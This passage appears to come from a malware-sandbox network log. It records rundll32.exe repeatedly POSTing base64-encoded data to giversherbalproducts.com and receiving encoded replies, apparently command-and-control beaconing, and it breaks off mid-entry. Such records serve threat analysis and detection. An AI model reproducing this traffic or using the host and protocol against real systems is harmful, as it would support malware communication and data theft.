Oct 4, 2021 16:03:11.725763083 CEST	7325	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.3	50095	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:11.315861940 CEST	7324	OUT	POST /lBawcxb5/KgEcGBw6EB89ADsrEQgOOjMZOgUyIR87CSVDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:11.764182091 CEST	7326	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.3	50096	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:12.035516024 CEST	7327	OUT	POST /lBawcxb5/KhMTJiIzDwM1PAQlMRYnMQYhficTMyMgLTpDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:12.522464037 CEST	7328	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyfkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.3	50097	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:12.125756025 CEST	7327	OUT	POST /lBawcxb5/HTkqIQkgOx59DSgOPgt/fCchJj5zfXg4AwZDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:12.619046926 CEST	7329	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyfkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.3	50098	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:12.839489937 CEST	7330	OUT	POST /lBawcxb5/LhIABRY7BSM2CBEuQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:13.298290968 CEST	7331	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.3	50099	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:12.945712090 CEST	7330	OUT	POST /lBawcxb5/exgmfzsJAhIqfQ06Bh88PQIsRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:13.398263931 CEST	7332	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49779	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:24.013691902 CEST	1083	OUT	POST /lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:24.479283094 CEST	1085	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:24 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.3	50100	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:13.596055984 CEST	7332	OUT	POST /lBawcxb5/H0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:14.040069103 CEST	7334	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.3	50101	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:13.930851936 CEST	7333	OUT	POST /lBawcxb5/L3wMFHwHIRJ0OSkuPgoLDQ4DIkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:14.454890013 CEST	7335	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.3	50102	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:14.358000994 CEST	7335	OUT	POST /lBawcxb5/IBoBKXoKIgo2ORkuGHUOKiU7HC0bCTMvRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:14.815561056 CEST	7336	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 